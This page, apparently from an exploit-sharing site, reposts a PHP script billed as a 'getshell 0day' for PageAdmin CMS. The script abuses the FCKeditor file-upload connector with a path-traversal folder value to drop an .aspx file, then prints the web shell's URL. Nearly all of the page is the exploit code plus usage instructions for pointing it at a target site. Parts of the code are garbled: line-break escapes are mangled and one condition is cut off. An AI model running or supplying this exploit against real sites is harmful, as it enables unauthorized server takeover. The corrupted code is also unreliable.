PageAdmin cms getshell 0day - 脚本漏洞

以下是引用片段：

#!/usr/bin/php
error_reporting(0);
print_r('
+---------------------------------------------------------------------------+
PageAdmin cms Fckeditor Upload Vul Exploit
by:[email protected]
[email protected]   
welcome to www.90sec.org www.webvul.com   
+---------------------------------------------------------------------------+
'
);

if(count($argv)
print_r('
Usage: php '.$argv[0].' url Path
Example:
php '.$argv[0].' www.site.com path
');
   exit;
}
$url=$argv[1];
$path=$argv[2];
$token=getshell($url,$path);
if($token==null){
echo "[-] Exploit Failed n";
}else{
echo "[*] Exploit Success n";
echo "[*] Shell:http://$url/upload/$tokenn";
}

function Getshell($url,$path){
$host=$url;
$port="80";
$content ="-----------------------------1398531028480rnContent-Disposition: form-data; name="NewFile"; filename="cfking.aspx"rnContent-Type: application/octet-streamrnrnrn-----------------------------1398531028480--rn";
$data = "POST $path//master/fckeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=FileUpload&Type=File&CurrentFolder=%2F..%2F..%2F..%2F..%2Fupload HTTP/1.1rn";
$data .= "Host: ".$host."rn";
$data .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2rn";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn";
$data .= "Accept-Language: zh-cn,zh;q=0.5rn";
$data .= "Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7rn";
$data .= "Keep-Alive: 300rn";
$data .= "Connection: keep-alivern";
$data .= "Content-Type: multipart/form-data; boundary=---------------------------1398531028480rn";
$data .= "Content-Length: ".strlen($content)."rnrn";
$data .= $content."rn";
$ock=fsockopen($host,$port);
if (!$ock) {
echo "[*] No response from $host n";
die;
}
fwrite($ock,$data);
while (!feof($ock)) {
$exp .=fgets($ock, 1024);
}
preg_match("/(0,'(.*?)')/", $exp, $arr);
return $arr[2];
}

?>